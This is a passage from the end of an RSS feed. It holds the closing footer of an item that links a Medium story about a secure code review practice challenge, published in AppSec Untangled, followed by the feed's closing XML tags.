href="https://medium.com/appsec-untangled/introducing-the-secure-code-review-challenge-practice-real-world-reviews-b59f3bdca114">Introducing the Secure Code Review Challenge (Practice Real-World Reviews)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>